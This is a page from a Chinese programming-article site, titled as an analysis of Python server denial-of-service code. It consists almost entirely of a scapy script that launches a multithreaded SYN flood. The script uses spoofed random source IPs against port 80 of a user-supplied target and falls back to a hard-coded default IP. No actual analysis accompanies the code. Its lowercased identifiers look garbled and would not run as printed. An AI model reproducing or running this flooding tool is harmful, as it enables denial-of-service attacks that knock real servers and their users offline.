欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

分析python服务器拒绝服务攻击代码

程序员文章站 2022-11-02 20:43:55
复制代码 代码如下:# -*- coding: cp936 -*-from scapy.all import *from threading import thread,a...

复制代码 代码如下:

# -*- coding: cp936 -*-
from scapy.all import *
from threading import thread,activecount
from random import randint

class loop(thread):
    def __init__(self,remoteaddr):
        thread.__init__(self)
        self.remoteaddr = remoteaddr

    def run(self):
        ip = str(randint(0,255))+'.'\
             +str(randint(0,255))+'.'\
             +str(randint(0,255))+'.'\
             +str(randint(0,255))
        sr1(ip(src = ip,dst = self.remoteaddr)/tcp(dport = 80),retry = 0,verbose = 0,timeout = 3)

       
class main(thread):
    def __init__(self,remoteaddr):
        thread.__init__(self)
        self.remoteaddr = remoteaddr

    def run(self):
        limit = 140
        total = 0

        while true:
            if activecount() < limit:
                loop(remoteaddr = self.remoteaddr).start()
                total = total + 1
            print '目前已经进行的httpflood的次数为:',total

if __name__ == '__main__':
    remoteaddr = raw_input('ip=')
    if remoteaddr == '':
        remoteaddr = '202.103.25.12'

    main(remoteaddr = remoteaddr).start()